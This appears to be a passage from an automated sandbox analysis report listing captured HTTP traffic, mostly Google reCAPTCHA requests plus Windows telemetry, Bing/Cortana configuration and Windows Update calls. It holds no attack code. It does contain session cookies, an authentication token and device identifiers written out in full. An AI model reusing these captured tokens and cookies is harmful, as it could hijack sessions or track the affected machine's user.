_GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/replaceimage?k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/payload?p=06AFcWeA5e-va39F3VfbbSi0oottIg7ALlUDZb-nWwVX1-unQSuzFdKkA8yRqHnNqEBBnJoUfel3lJWlGL6UqRrnl-XaGVrxZtdN4xwznjD5t4FYX8Qa5d8b7bqYbtsJzJaNpYo6dV0hAJxLq1umrkqdrEO38PvgeW_BjrVXuD7_yWHYVbGHdeIkpvf7X_IAdl8hzhcTFabA6ze8v_n5WmmZcTZRtqU1EYWA&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&id=2 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/payload?p=06AFcWeA4BcxoE_I4LFIN1HO0cmaE9XHtZLfP2L5diLtzbOKdoXTHYQGRhCxaGx4w6hEGJdFPYLkHCYPolgYbvkdPQy3ewkgTPu2G4tQd5_-llYOZN7XTVs98RoCumRlYyUmD8di-Qpuk3Z1oWtuLqzRMlLRDT4Zz4lTSfLjLQKkHQ936rhb6bH8tCOCdQR8sZhk-ksLT2-ubRCNBSRv4VRboJfcV0W4EMqA&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&id=58d7975494f28ad0 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1bAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/replaceimage?k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/payload?p=06AFcWeA4BcxoE_I4LFIN1HO0cmaE9XHtZLfP2L5diLtzbOKdoXTHYQGRhCxaGx4w6hEGJdFPYLkHCYPolgYbvkdPQy3ewkgTPu2G4tQd5_-llYOZN7XTVs98RoCumRlYyUmD8di-Qpuk3Z1oWtuLqzRMlLRDT4Zz4lTSfLjLQKkHQ936rhb6bH8tCOCdQR8sZhk-ksLT2-ubRCNBSRv4VRboJfcV0W4EMqA&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&id=58d7975494f28ad0 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/payload?p=06AFcWeA5jjbmJOVjgho_5e1jWnVV-oQw3meDbcEFKXcZhEv4f7mveZl2oHT5bwlhR7jzGWXdDkSdk2G-Qb0wY27mQ15Zd4SXM9EnKFc2Pex7Z5IVZgjuId-oVQrBH1b2yaqHYZnQLWWr_kc6J5zoVuG3jkRb7FiGqzMX5abhQygS5hOzv17Lutr6Y6sG7mSvDg_gyx8EkS-qTui8GrFLUobBSf7jTWSJ8Jg&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&id=41a4f21ecb783bb3 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1bAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/replaceimage?k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/payload?p=06AFcWeA5jjbmJOVjgho_5e1jWnVV-oQw3meDbcEFKXcZhEv4f7mveZl2oHT5bwlhR7jzGWXdDkSdk2G-Qb0wY27mQ15Zd4SXM9EnKFc2Pex7Z5IVZgjuId-oVQrBH1b2yaqHYZnQLWWr_kc6J5zoVuG3jkRb7FiGqzMX5abhQygS5hOzv17Lutr6Y6sG7mSvDg_gyx8EkS-qTui8GrFLUobBSf7jTWSJ8Jg&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&id=41a4f21ecb783bb3 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/payload?p=06AFcWeA5g_6J-oVyZGxTOqGvfinWuimROArHBxL7hy3JP51a5UXfeSXr9kNyijYt-nth_bE1vMP8IgMf1ABLY20nwERtZno2huybA-R7oP9Jh97ndor8CK-RTVXyTKFUm23hzSjZk4vwLcbW2D1XwUdOeBd5tq_ejvJO56XXf5LR8XerMEEmlgQtfSH_AxNpDgTds3fIXnbrA5aIBglkJx3e4Ca3bB4Gs-w&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&id=79357a75a0682f47 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1bAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/replaceimage?k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/payload?p=06AFcWeA5g_6J-oVyZGxTOqGvfinWuimROArHBxL7hy3JP51a5UXfeSXr9kNyijYt-nth_bE1vMP8IgMf1ABLY20nwERtZno2huybA-R7oP9Jh97ndor8CK-RTVXyTKFUm23hzSjZk4vwLcbW2D1XwUdOeBd5tq_ejvJO56XXf5LR8XerMEEmlgQtfSH_AxNpDgTds3fIXnbrA5aIBglkJx3e4Ca3bB4Gs-w&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&id=79357a75a0682f47 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /ab HTTP/1.1Host: evoke-windowsservices-tas.msedge.netCache-Control: no-store, no-cacheX-PHOTOS-CALLERID: 9NMPJ99VJBWVX-EVOKE-RING: X-WINNEXT-RING: PublicX-WINNEXT-TELEMETRYLEVEL: BasicX-WINNEXT-OSVERSION: 10.0.19045.0X-WINNEXT-APPVERSION: 1.23082.131.0X-WINNEXT-PLATFORM: DesktopX-WINNEXT-CANTAILOR: FalseX-MSEDGE-CLIENTID: {c1afbad7-f7da-40f2-92f9-8846a91d69bd}X-WINNEXT-PUBDEVICEID: dbfen2nYS7HW6ON4OdOknKxxv2CCI5LJBTojzDztjwI=If-None-Match: 2056388360_-1434155563Accept-Encoding: gzip, deflate, br
Source: global traffic	HTTP traffic detected: GET /client/config?cc=CH&setlang=en-CH HTTP/1.1X-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-UserAgeClass: UnknownX-BM-Market: CHX-BM-DateFormat: dd/MM/yyyyX-Device-OSSKU: 48X-BM-DTZ: 60X-DeviceID: 01000A41090080B6X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66EX-Search-TimeZone: Bias=-60; StandardBias=0; TimeZoneKeyName=W. Europe Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAcnpbGlcg1ezNKn7eKi15L1iqXizkVm5YFlSq7c1%2B4KORihLUjuM3tJ2TDKV7GwzyHPhU7tOu42QcJnzKWS0Gu14beXf1ggQgHZlUaTrGcg/tWbYD5mY3ev0N98ZaSes/nhkqhWx7X6HEbeNvcKrDhGH5x3fqC2FYfiwx%2BjPPL/L7bwDBvTzMr3MaL%2BH35q1rlfFH8SKU0OPvEDUbMxCFP/9v7vpB9AkwlLtD%2BzabK1JYBGZ9eyQddO0xfJWs2ZmuYEfHsNDG3supSSq6f5uEYAjScNOcZao5xEcJShcOxks%2BeOD%2BpPhhZxpfrJEdJuLlZQLP8Zg6B63wvrjMqo2/UEDZgAACH8A9AL5rdH8qAE6PAG5s%2BYJrHXfz5eEcPFvH8rCqGcOL%2BoP8%2B5bGr04S1Re9VN0IOaRwbI6UGvo4YT/kfcCwoTf0FnynDUeSln87dUnA8sKAUvXvezHdaPtVkp%2BjwXIXjmjrw6EdyoJZgzPQQkGPxlodxHnkxe96wUY7sduMXbG3YK3rpe7u998hdXLdMRA/LDAsJuV5O/cP/2MV0LeYezWBKlxjM24g/EbkI/EcOOSb0DBFyQYSWglyUaQa%2BqLRWFpdV5AeyFyxDw64MBw3NEuEo0yZ57tQj7zYvYoYNbPUcWiDXqf%2BolKhjoXbUnfmeBpBCXq6hA5rfpNKVgeoQmWTLjMHPy57THQe/Oou9Z2EwIScw3r0XNOMP3H9xrTcrC8FrTfFsZHCaT70CaLLZoLgvtI8QNT0nawdVm3sKei0MM28Kf/RaJ1eivjFHPdRfmkmwOoCPlnOOupZdViVF%2BL0VL2I3bSjvcgK6UFLmhs48uDArIWvGOb4YIwxapq0LSYUXeKuOwOU5nusSCIDY22/nrwgHxth3HVesDJVwd4PQcpSlD9CVqzBEVZ4lu37Jm52gE%3D%26p%3DX-Agent-DeviceId: 01000A41090080B6X-BM-CBT: 1710507499User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045X-Device-isOptin: falseAccept-language: en-GB, en, en-USX-Device-Touch: falseX-Device-ClientSession: DE6E715EE4924638B7DE7533EA8941F1X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIHost: www.bing.comConnection: Keep-AliveCookie: SRCHUID=V=2&GUID=C4EAB6C130004333A34B5668AE4E4D10&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=en; MUID=4590362BB5CF472B95BBEDB3112D4B7B; MUIDB=4590362BB5CF472B95BBEDB3112D4B7B
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=rxs17CWmOALbKcf&MD=1MpBEMMe HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/userverify?k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/payload?p=06AFcWeA7mqDTn3XTDJiy_EmMPxD0ZOmP_jwgiGtQJ-M5rVzwRXeqt_92s4AtDlghbN-vrvsKXyutgx221iYkBIonnmuGd8v9Rk-_I5ha3Q6zbzda6i5-n_zdgKValxTj1I9WTL6qH43PXjUQQAX_krneHTNPIdJMIpfcyldUyeqBhN3tOIIkPeh1M3PN77XJukqRMSdJzZO_JPOayB4Ob5PVmaov2Ft1L8Q&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1bAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/payload?p=06AFcWeA7mqDTn3XTDJiy_EmMPxD0ZOmP_jwgiGtQJ-M5rVzwRXeqt_92s4AtDlghbN-vrvsKXyutgx221iYkBIonnmuGd8v9Rk-_I5ha3Q6zbzda6i5-n_zdgKValxTj1I9WTL6qH43PXjUQQAX_krneHTNPIdJMIpfcyldUyeqBhN3tOIIkPeh1M3PN77XJukqRMSdJzZO_JPOayB4Ob5PVmaov2Ft1L8Q&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
